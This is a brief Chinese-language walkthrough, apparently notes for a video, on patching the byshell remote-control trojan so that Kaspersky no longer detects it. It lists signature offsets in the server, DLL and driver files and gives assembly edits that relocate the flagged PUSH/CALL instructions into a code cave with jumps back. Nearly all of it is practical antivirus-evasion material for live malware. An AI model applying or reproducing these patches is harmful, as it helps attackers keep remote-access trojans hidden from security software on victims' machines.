动画介绍：我给大家讲一下远程控制软件byshell针对卡巴斯基的特征码免杀过程。

server
[特征] 000023CD_00000004
[特征] 00002BAC_00000002

004023C6: 68 30B94000 PUSH 40B930
004023CB: 68 28B74000 PUSH 40B728
004023D0: E8 CBECFFFF CALL 004010A0

0040736C: 0000 ADD [EAX],AL
0040736E: 68 28B74000 PUSH 40B728
00407373: E9 58B0FFFF JMP 004023D0
00407378: 0000 ADD [EAX],AL

00402BA9: E8 42F6FFFF CALL 004021F0

0040737A: 0000 ADD [EAX],AL
0040737C: 90 NOP
0040737D: 90 NOP
0040737E: 90 NOP
0040737F: E9 6CAEFFFF JMP 004021F0
00407384: 0000 ADD [EAX],AL

dll
[特征] 0000DBCF_00000002

sys
[特征] 00000BC6_00000001
[特征] 00001F1C_00000001

00001F1A
ZwCreateFile
050C